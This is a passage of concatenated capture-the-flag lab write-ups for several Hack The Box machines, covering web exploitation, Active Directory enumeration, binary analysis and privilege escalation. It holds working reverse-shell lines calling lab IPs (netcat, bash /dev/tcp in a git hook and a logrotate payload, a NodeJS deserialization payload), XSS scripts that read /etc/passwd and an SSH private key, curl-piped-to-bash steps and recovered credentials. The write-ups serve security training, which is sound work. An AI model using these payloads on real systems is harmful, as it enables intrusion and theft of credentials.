A bit of searching finds the above github repository. Reviewing the source code, it is fairly
obvious that a user account can be created by sending a request manually. Note that the
password must be 8 characters or longer.

Once logged in, a ​Log​ feature is visible which is not included in the original source code.

http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey

Attempting to load ​log.php​ instead of l​ og.txt​ will result in output being displayed which includes
the user agent. At this point it is fairly obvious that log poisoning through the user agent can be
leveraged to achieve code execution.

Page 7 / 10
Using the injected PHP exec, a 64-bit netcat Windows executable can be served from the local
machine. The command ​powershell “wget http://<LAB IP>/nc64.exe -OutFile nc64.exe”​ will
successfully grab the file, and the command ​nc64.exe <LAB IP> <PORT> -e cmd.exe​ will open a
shell as ​nt authority\iusr​.

Page 8 / 10
Privilege Escalation

Administrator

PowerUp: ​https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

Executing powershell with ​powershell -ExecutionPolicy Bypass​ will allow running of local scripts.
After dropping PowerUp on the target and starting powershell, it can be loaded with
Import-Module ./PowerUp.ps1​ and executed with I​ nvoke-AllChecks​, revealing Administrator
autologon credentials in the registry.

As SMB is not open to the network, a route must be added or alternatively port forwarding can be
used. To simplify things, switching to Metasploit is ideal. Using the ​windows/smb/smb_delivery
module successfully spawns a Meterpreter session when using the following settings.

Page 9 / 10
Once a Meterpreter shell is obtained, a route can be added with the command ​route add
10.10.10.81/32 255.255.255.255 <SESSION ID>​ followed by use of the
admin/smb/psexec_command​ module for pass the hash. For the command, executing the
existing netcat binary is likely the simplest option.

Listening on a different port and triggering the psexec module will immediately grant a shell as
the Administrator user.

Page 10 / 10
Bitlab
8th January 2019 / Document No D19.100.55

Prepared By: MinatoTW

Machine Author(s): Thek & Frey

Difficulty: Medium

Classification: Official
Synopsis
Bitlab is a medium difficulty Linux machine running a Gitlab server. The website is found to
contain a bookmark, which can autofill credentials for the Gitlab login. After logging in, the user's
developer access can be used to write to a repository and deploy a backdoor with the help of git
hooks. The PostgreSQL server running locally is found to contain the user's password, which is
used to gain SSH access. The user's home folder contains Windows binary, which is analyzed to
obtain the root password.

Skills Required
Enumeration
Reversing
Git

Skills Learned
Web Hooks
Git Hooks
Dynamic Binary Analysis
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.114 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.114

SSH and Nginx are found to be running on their common ports. Nmap returned some entries
from the robots.txt file, let's look at these.

Nginx
Browsing to the web root, a login page for the Gitlab is returned.

The robots.txt file contains disallowed entries as per the Gitlab configuration.
Gobuster
Let's use gobuster to discover any other hidden directories. The gitlab server will redirect us to
the login page on any attempt, which is why we'll only look for 200 response code.

The -f flag appends / to each request. It was able to find the folders help, profile, search and
public. Browsing to the /profile folder we see a profile page for Clave.

Navigating to the /help folder returns a directory listing with an HTML page.
The HTML page contains some bookmarks pointing to standard URLs, but a bookmark named
"Gitlab Login" is found to contain JavaScript code. Right click on the link and select Inspect
Element to view it in the inspector.

Double click on the content present in the href attribute and copy it.

javascript:(function() {
var _0x4b18 =
["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74
\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x
65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x3
1\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

The snipped creates a JavaScript function and calls it. It contains a hex encoded array. Paste this
array into the browser console to view it as a string.

It then references these elements and assigns values.


document["getElementById"]("user_login")["value"]= "clave";
document["getElementById"]("user_password")["value"]= "11des0081x";

The code sets the value for user_login field to clave and the user_password field to
11des0081x . Going back to the Gitlab login page and looking at the HTML source, it can be
verified that the id for username and password are user_login and user_password
respectively.

Gitlab
This bookmark can be imported directly or we can execute this code in the console directly, which
should populate the username and password for us.

Clicking on Sign in should log us in.

Note: The login might fail on some versions of Firefox, in which case Chrome can be used instead.
We see two repositories owned by the Administrator, and enumeration of the website reveals a
snippet as well.

It seems to be a connection script for PostgreSQL. Let's save this and look at the repositories.

The profile repository is found to contain a single PHP page along with an image.

Looking at the index.php source code, we see the same name and description found during
enumeration of the /profile folder.

It's likely that the website hosts the file from this repository. Looking at the project members, it's
found that the user Clave has Developer access to it, which will let us commit files and merge
branches.

Let's move on the next repository named deployer . The repository contains a single index.php
file which is simulating a webhook. A webhook is used to perform certain actions based on user
interaction with the repository.
Looking at the source code, the page takes in JSON input and reads properties from it. When a
merge request is made, the code goes into the profile folder and executes git pull , which will
automatically merge changes from the branch into profile.

Let's verify this by creating a new branch and editing the index.php file in the profile repository.
Click on the + symbol near the name and select new branch.

Name it something and then proceed to edit the index.php file. We can add a comment at the
end and then commit the changes.

Next, click on Create merge request followed by Submit merge request to open a merge
request.

Once the merge request is open, click on the Merge button to merge changes.
Navigating to the profile page and viewing the source, the HTML comment should be seen at the
end.
Foothold
Having confirmed our code injection, we can now add a backdoor PHP shell to the /profile
folder. Download the PHP the shell from here and edit the IP address and port to reflect yours,
then click on + followed by Upload file .

Upload the reverse shell and then click on upload. Next, follow the same process as earlier to
merge changes. After the merge completes, the shell can be executed by browsing to
http://10.10.10.114/profile/shell.php .
Lateral Movement
A TTY shell can be spawned using python.

Looking at the ports open locally, we find port 5432 to be open.

This is the default port for PostgreSQL server, which can be confirmed by looking at the running
processes. We already have potential credentials for the database from the snippet found earlier.
Let's try logging into the database and looking for information. Since the postgres server is
running within a docker, we won't have access to the client binaries. Instead, we can use the PHP
script and query the DB. Create a file named pg.php with the following contents:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles
password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>

The script fetches data from the profiles table and prints the results using the pg_fetch_all()
function. Transfer this script and then execute it on the box.

The query returned the password for clave, which can be used to SSH into the box.
Privilege Escalation
A file named RemoteConnection.exe is noticed in her home folder. Let's transfer this using scp
and perform analysis.

Open it up in Ghidra and then go to Window > Defined Strings on the menu bar. Looking at the
defined strings, we see the username clave as well as a path to putty.exe.

Highlighting clave should make the Listing window jump to it's address. Right-click on it > Show
References and select Show References to this address. Double click on the address in the popup
Window, which should take us to the code where it's referenced. Looking at the code, we see that
it gets the current user's username using the GetUsername() function:

Then further on, this username is compared to "clave" which leads to execution of putty.exe
using the ShellExecuteW() function.

Looking at the documentation of this function, it's found that the fourth parameter i.e.
lpParameters points to the string with the arguments to be passed to the process. This means
that the user's password should be present in this buffer. Let's use a debugger like x32dbg to
reveal this string.

After loading the binary, right click in the disassembly region > search for > All Modules > String
references. This will list all the strings referenced in the binary.

Double click on clave to jump it's disassembly location.


In order to get to the ShellExecuteW() function, we'll have to bypass the username check. This
can be done by patching the jne instruction to je , which will pass the check irrespective of our
username. Double-click on the instruction line and change jne to je .

Click on OK and then close the popup to avoid changing the next instruction. Next, select the
line with the call to ShellExecuteW and hit F2 to add a breakpoint.

Now hit F9 twice to run the binary until the breakpoint is hit. Once the execution halts, the
window at the bottom right can be viewed to see the arguments pushed to the stack.

The password can be seen in plaintext at the fourth offset on the stack which is the pointer for
lpParameters. The credentials root / Qf7]8YSV.wDNF*[7d?j&eD4^ can be used login as root
and read the flag.

Alternate method
Going back to the shell as www-data, we can enumerate his sudo privileges.
The user can executed git pull anywhere as root. Probably this was configured to allow
merging changes using the webhooks. This will let us leverage local git hooks and execute scripts
as root. Similar to webhooks, local git hooks execute certain commands based on the action
taken by the user. These hooks are present in the .git/hooks folder for any given repository. A
more detailed explanation can be found here. According to the documentation, a post-merge
hook is executed whenever a git pull command is issued.

Let's try executing a reverse shell through this hook. First, copy the profile repository from
/var/www/html .

Next, create a file named post-merge with the following contents:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/5555 0>&1

In order to successfully merge, we'll have to make changes to the original repository. Login to the
gitlab project and commit an extra file to the profile repository, then merge the new branch to
the master branch. Now go back to the main folder and start a listener on port 5555. Then issue
the sudo git pull command to execute the post-merge script.

A shell as root should be received on the listener.


Book
7th July 2020 / Document No D20.100.80

Prepared By: MinatoTW

Machine Author(s): MrR3boot

Difficulty: Medium

Classification: Official
Synopsis
Book is a medium difficulty Linux machine hosting a Library application. It allows users to sign up
and add books, as well as provide feedback. The back-end database is found to be vulnerable to
SQL truncation, which is leveraged to register an account as admin and escalate privileges. The
admin panel contains additional functionality to export PDFs, which is exploited through XSS to
gain SSH access. Finally, misconfigured logs are exploited to get root.

Skills Required
Web Enumeration
JavaScript

Skills Learned
SQL Truncation
XSS
Logrotate Exploitation
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.176 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.176

Nmap reveals two open ports running HTTP and SSH respectively.

Apache
Browsing to port 80 returns a sign-up and login form.

Clicking on Sign Up without any input results in the following pop-up.


The page asks us to register usernames with less than 10 characters only. Similarly, an empty
email field prompts us to enter an address of less than 20 characters in length.

Gobuster
Let's run Gobuster to find any hidden folders.

The /docs folder returns a 403 forbidden error. However, the admin folder hosts an admin login
form.
Let's register a new account with admin to see if this username exists.

The registration as admin was successful and we get access to the library.
Let's see if we can use the same credentials on the admin page.

We're denied access to the admin panel, which means that the login depends on the email and
not username. Let's try using an email such as [email protected] .

The page states that the user already exists. Let's return to the registered account and
enumerate the application. The library application contains a few pages with different
functionality.

The Collections page contains a book submission upload form.


Let's upload a file and see if we can find the upload location.

The page displays the following pop-up and returns to the submission page.

The file location isn't revealed and it's not found in the /docs folder either. Let's continue
enumerating the application. The profile information page allows us to edit our username.
Let's intercept the request in Burp for further inspection.

SQL Truncation
Sending a request with a username that is greater than 10 characters is found to result in
truncation of the username.

Let's see if this behavior exists even with spaces in the input.
We enter multiple spaces then URL encode the entire username and forward the request.
Refreshing the profile page shows that our username was set to admin with trailing spaces.

According to the MySQL documentation, trailing spaces are ignored during database operations.
This means that the usernames "admin " and "admin" are identical from a MySQL perspective.

Assuming that the backend DBMS is MySQL, we should be able to leverage this attack to sign-up
as [email protected] . Send another request from the sign up form and intercept it.

We register the username someuser , and the email [email protected] with trailing spaces and
characters. This should truncate our input and insert the email into the database as
[email protected] . Forwarding the request doesn't return any errors and redirects us to the login
page. Let's login with the credentials someuser / admin now.

We're granted access to the admin panel now. The Collections tab seems to allow exporting of
collections in PDF format.
Adding a new collection and then exporting it results in the following PDF.

We see our collection entry at the end of the table, which resembles a table created using HTML
code. Possibly the table is rendered by the server before converting it to PDF?

XSS
Let's try adding a new collection with an img tag pointing to our IP address. If the server renders
the HTML, then we should receive an HTTP request.

<img src="http://10.10.14.3/test" />

Submit the book, start a listener on port 80 and then export the collection from the admin panel.
As expected, we received an HTTP request on our listener with the User-Agent containing
PhantomJS . PhantomJS is a server-side headless browser that is scriptable using JavaScript. It is
useful for task automation, testing and taking screen captures of remote web pages.

As the script runs server-side, we should be able to run JavaScript code during the rendering
process. Let's use a simple JS snippet to test this.

<script>document.write("Javascript works!")</script>

Enter the snippet above into the book submission and proceed to export the PDF.

We see that the string Javascript works! was successfully written to the document. Now that
we have achieved code execution, we can use the XMLHttpRequest class and attempt to read
local files using the file:/// URI scheme.

<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///etc/passwd", true);
x.onload = function(){
document.write(x.responseText);
};
x.send();
</script>
The script above will attempt to read the /etc/passwd file and write it out to the HTML page.
/etc/passwd is a good choice as it is readable by all system users. Enter this into the submission
page and then export the PDF.

The export was successful and we are able to read the passwd file.
Foothold
A user named reader is found to exist with a valid shell.

Let's check if we can read the SSH private key of this account.

<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///home/reader/.ssh/id_rsa", true);
x.onload = function(){
var code = "<textarea rows='100' cols='70'>" + btoa(x.responseText) + "
</textarea>";
document.write(code);
};
x.send();
</script>

Update the script with the default path to the SSH private key. The btoa() function is used to
convert the key to base64 for easy copying and pasting. We can use a textarea element with a
fixed set of columns in order to capture the entire output within the PDF itself.

Sending the payload results in the key being returned.

Copy the entire payload and then decode it.


We can now SSH in as reader using this key.
Privilege Escalation
A script such as linPEAS can be used to run local enumeration checks. Download the script and
execute it using cURL and bash.

curl 10.10.14.3:8000/linpeas.sh | bash

The script tells us that we have access to writable log files which can be exploited. Looking at the
URL provided we see the following:

According to the post, logrotate can be exploited through a race condition if a user has write
access to the log files. Logrotate is a utility that performs periodic removal, compression, and
storage of log files. A user with write privileges to log files can symlink it to any sensitive file on
the system and then write to it.

A tool such as pspy can be used to confirm if logrotate is running or not.

wget 10.10.14.3:8000/pspy64s && chmod +x pspy64s


Pspy shows that logrotate is being run by a user with uid 0 i.e. root.

Now we know that logrotate is running, let's proceed to exploit it. The logrotten PoC can be used
to exploit this.

git clone https://github.com/whotwagner/logrotten


gcc logrotten.c -o logrotten

Use the commands above to clone the repository and compile the binary. Next, create a file
named shell with the following contents:

#!/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1" &

Transfer both of these files to the target.

wget 10.10.14.3:8000/logrotten
wget 10.10.14.3:8000/shell
chmod +x logrotten shell

Next, we can add some contents to the log file in order to trigger rotation.

echo test >> /home/reader/backups/access.log


./logrotten -d -p shell /home/reader/backups/access.log

Our payload should be written to /etc/bash_completion.d/ once logrotate runs.


The directory /etc/bash_completion.d/ contains bash scripts that run every time a user logs in,
and so we should get a root shell when root logs in.
Canape
15​th​ September 2018 / Document No D18.100.17
Prepared By: Alexander Reid (Arrexel)
Machine Author: overcast
Difficulty: ​Medium
Classification: Official

Page 1 / 8
SYNOPSIS
Canape is a moderate difficulty machine, however the use of a file (.git) that is not included in the
dirbuster wordlists can greatly increase the difficulty for some users. This machine also requires a
basic understanding of Python to be able to find the exploitable point in the application.

Skills Required Skills Learned

● Intermediate knowledge of Linux ● Exploiting insecure Python Pickling


● Basic/Intermediate knowledge of ● Exploiting Apache CouchDB
Python ● Exploiting Sudo NOPASSWD

Page 2 / 8
Enumeration

Nmap

Nmap finds only Apache and OpenSSH running on the target.

Page 3 / 8
Web Fuzzing

Attempting to fuzz Apache to find files and directories is a bit more challenging, as all requests
return 200. By using Wfuzz, it is possible to filter out false positives.

Using Wfuzz with the SecLists’ Discovery/Web-Content/common.txt file immediately reveals a ​.git
directory. Accessing the ​config​ directory finds a hostname ​git.canape.htb​ (which should be
added to /etc/hosts) as well a project named ​simpsons.git​.

Page 4 / 8
Exploitation

Python Pickle

With access to the source of the Python flask application which runs the website, it is possible to
develop an exploit to abuse the function for storing submitted quotes.

The ​submit ​route of the flask app checks to make sure the ​character​ variable contains a valid
Simpsons character, however passing the name directly will cause the app to create an invalid
pickle file. By including the character name as part of the os command and splitting the pickle
data between ​character​ and ​quote​, the check will pass and the data will be recombined
server-side.

Page 5 / 8
Privilege Escalation

Homer - Apache CouchDB

Exploit: ​https://www.exploit-db.com/exploits/44913/

Explanation: ​https://justi.cz/security/2017/11/14/couchdb-rce-npm.html

Running ​ps aux ​reveals that Apache CouchDB is running as the ​homer​ user.

A quick search finds CVE-2017-12636, which is a code execution vulnerability in CouchDB < 2.1.0.
The Exploit-DB proof of concept has some issues in this instance, so directly using the cURL
example from the explanation link is a good alternative.

Page 6 / 8
Once an admin account is created, full read access is gained to the databases. The ​passwords
database can be listed with ​curl 127.0.0.1:5984/passwords/_all_docs --user ‘arrexel:password’
and read by changing ​_all_docs​ to the doc ID.

The first ID listed contains the SSH password for ​homer​ in plaintext.

Page 7 / 8
Root - Sudo NOPASSWD

Running ​sudo -l​ as ​homer​ reveals that there is a NOPASSWD entry for python pip.

Simply creating a ​setup.py​ file and running ​sudo pip install . ​will execute the file as root.

Page 8 / 8
Cascade
20th July 2020 / Document No D20.100.81

Prepared By: TRX

Machine Author: VbScrub

Difficulty: Medium

Classification: Confidential
Synopsis
Cascade is a medium difficulty Windows machine configured as a Domain Controller. LDAP
anonymous binds are enabled, and enumeration yields the password for user r.thompson ,
which gives access to a TightVNC registry backup. The backup is decrypted to gain the password
for s.smith . This user has access to a .NET executable, which after decompilation and source
code analysis reveals the password for the ArkSvc account. This account belongs to the AD
Recycle Bin group, and is able to view deleted Active Directory objects. One of the deleted user
accounts is found to contain a hardcoded password, which can be reused to login as the primary
domain administrator.

Skills Required
LDAP Enumeration
SMB Enumeration
Processing SQLite Databases
Reverse Engineering .NET Assemblies

Skills Learned
TightVNC Password Extraction
AES Encryption
Active Directory Enumeration
Active Directory Recycle Bin
Enumeration
Let's start by running an Nmap scan.

ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.10.182 | grep ^[0-9] | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.10.182

The scan reveals that LDAP (389), SMB (445) and WinRM (5985) are available. Let's enumerate
SMB for any open shares.

smbclient -L 10.10.10.182

Anonymous login is allowed but we're unable to list shares.

Lightweight Directory Access Protocol (LDAP)


Next, we can enumerate LDAP after downloading windapsearch.

git clone https://github.com/ropnop/windapsearch.git


pip install python-ldap
./windapsearch.py -U --full --dc-ip 10.10.10.182
The command above will list out all users in the domain.

There don't seem to be any passwords in the user description fields, so we can start to examine
some of the other user attributes. One of them for the user r.thompson is called
cascadeLegacyPwd , which contains what seems to be a Base64 encoded string. Let's decode it.

The output seems to be a password. From the windapsearch output we also know that the
sAMAccountName is r.thompson , so this can be used as the username. Let's use Evil-WinRM to
try to connect as r.thompson .

evil-winrm -i 10.10.10.182 -u r.thompson -p rY4n5eva

The login failed, which means we don't have PowerShell Remoting permissions.

SMB
Let's use smbmap to verify if we have access to any of the SMB shares with the above credentials.
smbmap -H 10.10.10.182 -u r.thompson -p 'rY4n5eva'

From the available shares the only non-default share that we have access to is the Data share.

smbclient \\\\10.10.10.182\\Data -U r.thompson

The only folder we have access to is IT , which contains the four sub-folders Email Archives ,
LogonAudit , Logs and Temp .

The Email Archives folder contains Meeting_Notes_June_2018.html , which shows an email


conversation between Steve Smith and the IT department. Download and open it.
cd "Email Archives"
get Meeting_Notes_June_2018.html

A text editor or a browser can be used to view the file.

cat Meeting_Notes_June_2018.html

<SNIP>
We will be using a temporary account to perform all tasks related to the network
migration and this account will be deleted at the end of 2018 once the migration
is complete. This will allow us to identify actions related to the migration in
security logs etc. Username is TempAdmin (password is the same as the normal
admin account password).
</SNIP>

The email exchange hints to the existence of a TempAdmin account, that has the same password
as the default Administrator account.

The Logs folder contains the Ark AD Recycle Bin and DCs folders, which in turn contain
ArkAdRecycleBin.log and dcdiag.log respectively.

Let's download and proceed to inspect these files.

ArkAdRecycleBin.log contains the text logs for a program called ARK AD RECYCLE BIN
MANAGER .

8/12/2018 12:22 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2


**
8/12/2018 12:22 [MAIN_THREAD] Validating settings...
8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin
CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location
CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted
Objects,DC=cascade,DC=local

The log informs us that the program is running in the context of ArkSvc and that the TempAdmin
account has been moved to the recycle bin.

Finally, Temp contains folders for the users r.thompson and s.smith . The file VNC
Install.reg can be found inside s.smith 's folder. It seems to be a backup of the registry
settings for TightVNC , a desktop remote control program.
Foothold
TightVNC
The registry file found contains a Password attribute, with the corresponding value consisting of
hexadecimal characters.

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

This writeup demonstrates how TightVNC passwords can be decrypted using Metasploit. Use the
commands below to decrypt the password.

msfconsole
msf5 > irb
key="\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), key

The key variable is the known hardcoded DES key that has been extracted from the program.
The Rex::Proto::RFB::Cipher.decrypt function is used to decrypt the password with the
provided key.

The password for s.smith is revealed as sT333ve2 . Let's check if this user belongs to the
Remote Management Users group, as this would allow us to connect using Evil-WinRM .

./windapsearch.py -U --full --dc-ip 10.10.10.182


This is the case and we can proceed to connect.

evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2

This works and a PowerShell Remoting connection is established. The user flag is located in
C:\Users\s.smith\Desktop .
Lateral Movement
Audit
The Get-ADUser cmdlet can be used to list the properties for the user s.smith .

Get-ADUser -identity s.smith -properties *

The command reveals that the user is a member of the Audit Share group, and also that the
logon script MapAuditDrive.vbs is assigned to this account. Active Directory logon scripts are
saved in the NETLOGON share by default.

smbclient \\\\10.10.10.182\\NETLOGON -U s.smith

The share is accessible and the script is present along with another script called
MapDataDrive.vbs . Let's download and read them.
get MapAuditDrive.vbs
get MapDataDrive.vbs

The MapDataDrive.vbs script mounts the Data drive that we previously accessed as
r.thompson , while the MapAuditDrive.vbs script maps a previously inaccessible drive called
Audit$ .

'MapAuditDrive.vbs
Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "F:"
strRemotePath = "\\CASC-DC1\Audit$"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit

Let's inspect the drive using smbclient as the user s.smith .

smbclient \\\\10.10.10.182\\Audit$ -U s.smith

SQLite
Let's download RunAudit.bat for further examination.

CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"

The batch file executes CascAudit.exe with a database file located in the DB folder passed as
input. Download the database and use the file command to check the file type.
It is identified as a SQLite database. The sqlitebrowser utility can be used to inspect the DB
contents.

sqlitebrowser Audit.db

The table LDAP contains a password for the ArkSvc user. It seems to be base64 encoded, but
decoding it does not return any useful output, which indicates that the data is encrypted.

CascAudit
Since this database is used by the CascAudit.exe executable let's download and attempt to
decompile it. This may help us to understand how the password was encrypted. The file
command can be used to identify the type of executable.

It's identified as a .NET executable, so we can use a .NET decompiler such as dnSpy to open it. It
can be run on Linux using wine. Download the latest 64-bit release from the official GitHub repo.

sudo apt install wine64 -y


cd ~/Downloads
unzip dnSpy-netcore-win64.zip
cd dnSpy-netcore-win64
wine dnSpy.exe
Click on File , then Open and locate CascAudit.exe to decompile it. Locate the main function
by clicking on CascAudit (1.0.0.0) , then CascAudit and selecting MainModule .

The relevant code that decrypts the password is shown below.

string text = string.Empty;


string password = string.Empty;
string text2 = string.Empty;
try
{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP",
sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
text = Conversions.ToString(sqliteDataReader["Uname"]);
text2 = Conversions.ToString(sqliteDataReader["Domain"]);
string text3 = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(text3, "c4scadek3y654321");
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
sqliteConnection.Close();
}

The program opens the SQLite database, reads the password and decrypts it with the
Crypto.DecryptString function, using the key c4scadek3y654321 . The decrypt function does
not seem to exist in the executable, so it might be loaded through a DLL. Looking at the Audit
share, CascCrypto.dll is identified. Download it from the share and open it using dnSpy . The
relevant code is as follows.

public static string DecryptString(string EncryptedString, string Key)


{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = 1;
aes.Key = Encoding.UTF8.GetBytes(Key);
string @string;
using (MemoryStream memoryStream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new
CryptoStream(memoryStream, aes.CreateDecryptor(), 0))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
@string = Encoding.UTF8.GetString(array2);
}
}
return @string;
}

A 128-bit AES algorithm is used to decrypt the password. The encryption mode is set to 1 and
the IV is set to 1tdyjCbY1Ix49842 . According to the .NET documentation, mode 1 corresponds to
CBC. The pyaes module can be used to decrypt the password.

The following script can be used to decrypt the password.


import pyaes
from base64 import b64decode

key = b"c4scadek3y654321"
iv = b"1tdyjCbY1Ix49842"
aes = pyaes.AESModeOfOperationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='))
print(decrypted.decode())

The decryption is successful, revealing the password for the ArcSvc account to be
w3lc0meFr31nd . We confirm that ArkSvc is in the Remote Management Users group.

Use Evil-WinRM as before to connect to the system.

evil-winrm -i 10.10.10.182 -u ArkSvc -p w3lc0meFr31nd

A PowerShell Remoting session as ArkSvc is established, but the root flag is not available.
Privilege Escalation
Let's enumerate the group membership of our current user.

whoami /all

The user is identified to belong to the AD Recycle Bin group. The Active Directory Recycle Bin is
used to recover deleted Active Directory objects such as Users, Groups, OUs etc. The objects keep
all their properties intact while in the AD Recycle Bin, which allows them to be restored at any
point. Let's enumerate the AD Recycle Bin for interesting objects using the Get-ADObject
command, and filtering only deleted objects with the isDeleted property.

Get-ADObject -ldapfilter "(&(isDeleted=TRUE))" -IncludeDeletedObjects

A filter can be applied to retrieve user accounts only, using the objectclass property.

Get-ADObject -ldapfilter "(&(objectclass=user)(isDeleted=TRUE))" -


IncludeDeletedObjects

The TempAdmin account that was mentioned in the email correspondence is returned. Let's
further enumerate this user and list the available properties. The DisplayName filter is used to
select only that specific account.
Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)
(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *

A property called cascadelegacyPwd is returned, which looks very similar to the one that
r.thompson had, and also looks as a Base64 encoded string. Let's decode it.

The returned string looks like a password but the user is deleted, so we cannot use it to log in as
TempAdmin . However, we recall the email correspondence mentioned that the Administrator
account has the same password as the TempAdmin account. Let's login as the Administrator
instead.

evil-winrm -i 10.10.10.182 -u Administrator -p baCT3r1aN00dles

The login was successful and the root flag can be read.
Celestial
25​th​ August 2018 / Document No D18.100.15
Prepared By: Alexander Reid (Arrexel)
Machine Author: 3ndG4me
Difficulty: ​Medium
Classification: Official

Page 1 / 5
SYNOPSIS
Celestial is a medium difficulty machine which focuses on deserialization exploits. It is not the
most realistic, however it provides a practical example of abusing client-size serialized objects in
NodeJS framework.

Skills Required Skills Learned

● Basic/intermediate knowledge of Linux ● Exploiting object deserialization in


● Basic/intermediate knowledge of NodeJS
Javascript ● Enumerating system log files
● Understanding of object serialization

Page 2 / 5
Enumeration

Nmap

Nmap finds on Node.js running on port 3000.

Page 3 / 5
Exploitation

NodeJS Deserialization

Viewing the NodeJS server in a browser presents a 404, however after refreshing the page,
some text is displayed. Looking at cookies reveals a ​profile​ entry, which is a base64-encoded
JSON string. Attempting to change the ​num​ value to an unquoted string will cause an error which
reveals some key information.

The username is ​sun​ and the data appears to be unserialized. A quick search finds several
guides on building a serialized payload for code execution through NodeJS. In this case, an exec
function can be passed as the username and it will be executed.

{"username":"_$$ND_FUNC$$_require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat


/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f', function(error, stdout, stderr) {
console.log(stdout) })","country":"Lameville","city":"Lametown","num":"2"}

Page 4 / 5
Privilege Escalation

Root

As the ​sun​ user is part of the admin group, it has access to read most log files. Looking at
/var/www/syslog​ reveals a root cronjob which executes ​/home/sun/Documents/script.py ​every
5 minutes.

As the script is owned by the current user, modifying the script to create a reverse shell is all that
is needed for escalation.

Page 5 / 5
Chaos
25​th​ April 2019 / Document No D19.100.18
Prepared By: MinatoTW
Machine Author: felamos
Difficulty: ​Medium
Classification: Official

Page 1 / 19
SYNOPSIS
Chaos is a “medium” difficulty box which provides an array of challenges to deal with. It requires
a fair amount enumeration of the web server as well as enumerating vhosts which leads to a
wordpress site which provides a file containing credentials for an IMAP server. The drafts folder
contained sensitive information which needed cryptographical knowledge to decipher. The
decrypted information leads to a page hosting a vulnerable Latex application which helps to gain
a foothold. Password reuse helps to land a shell as a user but in a restricted shell which can be
bypassed by abusing a GTFObin. Escaping the shell gives access to the user’s firefox folder
containing saved logins which on decrypting gives access to a webadmin console and the root
shell.

Skills Required Skills Learned

● Web server enumeration ● Breaking out of restricted shells


● Wordpress enumeration ● Extracting data from firefox profiles

Page 2 / 19
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.120 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -p​$ports​ -sV -sC -T4 10.10.10.120

It’s running Apache on port 80, two instances of both IMAP and POP3 servers and webmin
console on port 10000.

Page 3 / 19
APACHE - PORT 80
On accessing Apache the server returns a message saying “Direct IP not allowed”.

So, probably it’s expecting to use a vhost to access the server. However the message isn’t a
standard apache page.

Using chaos.htb as the vhost to access the server.

echo​ ​'10.10.10.120 chaos.htb'​ >> /etc/hosts

Now the website greets us with a static website with html pages.

Page 4 / 19
GOBUSTER
Running gobuster using directory-list-2.3-medium.txt on both the vhost and IP address.

gobuster -u http://10.10.10.120/ -w directory-list-2.3-medium.txt -t 100 -x


php
